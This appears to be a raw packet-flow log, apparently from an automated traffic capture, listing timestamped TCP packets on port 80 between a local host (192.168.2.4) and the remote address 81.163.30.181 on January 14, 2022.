Jan 14, 2022 20:30:21.808845997 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.808856964 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.808868885 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.808890104 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.808902025 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.808912039 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.808933973 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.808952093 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.808954954 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.808976889 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.808994055 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.808999062 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.809020996 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.809032917 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.809041977 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.809065104 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.809077978 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.809084892 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.809114933 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.809125900 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.809135914 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.809158087 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.809168100 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.809178114 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.809200048 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.809215069 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.809222937 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.809243917 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.809258938 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.809264898 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.809286118 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.809298992 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.809307098 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.809328079 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.809349060 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.809349060 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.809370041 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.809381962 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.809391975 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.809415102 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.809426069 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.809436083 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.809457064 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.809468985 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.809478998 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.809499979 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.809519053 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.809520960 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.809540987 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.809557915 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.809561968 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.809583902 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.809601068 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.809603930 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.809628010 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.809638023 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.809648991 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.809669971 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.809690952 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.809691906 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.809714079 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.809727907 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.809736013 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.809758902 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.809767962 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.809779882 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.809802055 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.809818983 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.809822083 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.809843063 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.809859991 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.809885025 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.809909105 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.809917927 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.809928894 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.809951067 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.809967995 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.809973001 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.809993982 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.810007095 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.810014963 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.810035944 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.810054064 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.810056925 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.810079098 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.810096979 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.810100079 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.810122967 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.810137033 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.810143948 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.810164928 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.810178041 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.810185909 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.810206890 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.810220957 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.810226917 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.810250044 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.810267925 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.810272932 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.810295105 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.810306072 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.810314894 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.810337067 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.810345888 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.810357094 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.810388088 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.812071085 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.812102079 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.812139988 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.832946062 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.832979918 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.833003044 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.833024979 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.833043098 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.833045959 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.833065033 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.833069086 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.833092928 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.833116055 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.833116055 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.833138943 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.833156109 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.833161116 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.833182096 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.833200932 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.833203077 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.833225965 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.833246946 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.833247900 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.833267927 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.833287954 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.833291054 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.833312988 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.833331108 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.833334923 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.833358049 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.833379030 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.833381891 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.833403111 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.833419085 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.833425045 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.833447933 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.833462000 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.833468914 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.833492041 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.833503008 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.833513975 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.833534002 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.833549976 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.833558083 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.833581924 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.833595037 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.833602905 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.833626986 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.833636999 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.833651066 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.833674908 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.833689928 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.833698988 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.833723068 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.833731890 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.833745003 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.833767891 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.833780050 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.833790064 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.833813906 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.833836079 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.833873987 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.833894968 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.833920002 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.833944082 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.833967924 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.833992958 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.834017992 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.834042072 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.834067106 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.834091902 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.834120989 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.834146023 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.834172964 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.834197044 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.834222078 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.834248066 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.834271908 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.834295988 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.834321976 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.834345102 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.834371090 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.834394932 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.834418058 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.834443092 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.834467888 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.834490061 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.834511995 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.834531069 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.834554911 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.834578991 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.834599018 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.834600925 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.834624052 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.834636927 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.834647894 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.834666967 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.834671021 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.834693909 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.834706068 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.834717035 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.834745884 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.834757090 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.834769011 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.834790945 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.834805012 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.834815025 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.834837914 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.834846973 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.834858894 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.834882021 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.834897041 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.834903955 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.834928036 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.834939957 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.834950924 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.834974051 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.834992886 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.834995985 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.835020065 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.835036993 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.835041046 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.835064888 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.835078001 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.835087061 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.835112095 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.835119963 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.835134983 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.835156918 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.835166931 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.835177898 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.835201025 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.835212946 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.836014032 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.836055040 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.837064981 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.860946894 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.860982895 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.861006021 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.861023903 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.861046076 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.861064911 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.861071110 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.861085892 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.861093998 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.861118078 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.861118078 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.861140966 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.861165047 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.861166000 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.861186028 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.861206055 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.861216068 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.861227036 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.861244917 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.861253023 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.861274958 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.861295938 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.861304998 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.861319065 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.861341000 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.861346006 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.861367941 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.861390114 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.861397028 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.861411095 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.861429930 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.861432076 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.861454010 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.861474991 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.861476898 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.861499071 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.861521006 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.861524105 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.861541986 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.861560106 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.861577988 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.861581087 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.861603975 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.861613035 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.861624956 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.861644983 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.861653090 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.861665964 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.861687899 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.861696005 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.861711025 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.861732960 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.861737013 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.861754894 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.861777067 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.861784935 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.861798048 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.861819029 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.861831903 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.861835957 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.861865044 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.861907959 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.861928940 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.861948013 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.861949921 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.861973047 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.861993074 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.861996889 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.862014055 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.862035990 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.862044096 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.862056971 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.862077951 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.862077951 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.862098932 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.862122059 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.862123966 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.862144947 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.862171888 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.862977982 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.863003016 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.863023996 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.863033056 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.863046885 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.863069057 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.863070011 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.863091946 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.863109112 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.863114119 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.863136053 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.863153934 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.863157034 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.863178968 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.863187075 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.863199949 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.863208055 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.863223076 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.863244057 CET	49928	80	192.168.2.4	81.163.30.181
